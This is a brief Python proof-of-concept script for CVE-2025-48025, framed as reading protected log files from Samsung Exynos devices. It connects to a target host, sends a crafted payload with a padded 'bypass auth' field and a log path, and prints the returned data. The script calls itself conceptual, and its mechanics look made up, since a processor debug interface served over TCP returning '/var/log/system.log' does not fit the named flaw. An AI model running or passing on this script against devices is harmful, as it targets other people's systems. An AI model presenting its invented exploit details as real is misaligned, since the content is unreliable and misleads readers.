CVE-2025-48025

# CVE-2025-48025 PoC - Samsung Exynos Log File Improper Access Control # This is a conceptual proof-of-concept demonstrating the vulnerability # The actual exploitation requires access to the target device's network interface import socket import struct import sys TARGET_HOST = "192.168.1.100" # Target device IP TARGET_PORT = 8080 # Target service port (example) def exploit_log_access(target_host, target_port): """ Exploit improper access control on Samsung Exynos processors to read protected log files via network interface. """ print(f"[*] Targeting Samsung Exynos device at {target_host}:{target_port}") try: # Step 1: Establish connection to the vulnerable service sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) print("[+] Connection established") # Step 2: Craft malicious request to bypass access control # The vulnerability lies in insufficient permission checks # when accessing log files through the processor's debug interface payload = b"\x00\x01" # Command to read log file payload += b"\x00" * 4 # Padding / bypass auth field payload += b"/var/log/system.log\x00" # Target log file path sock.send(payload) print("[*] Malicious payload sent") # Step 3: Receive leaked log data response = sock.recv(4096) if response: print(f"[+] Log data leaked ({len(response)} bytes):") print(response.decode('utf-8', errors='replace')) return response else: print("[-] No data received") return None except Exception as e: print(f"[-] Exploit failed: {e}") return None finally: sock.close() if __name__ == "__main__": if len(sys.argv) > 1: TARGET_HOST = sys.argv[1] exploit_log_access(TARGET_HOST, TARGET_PORT)

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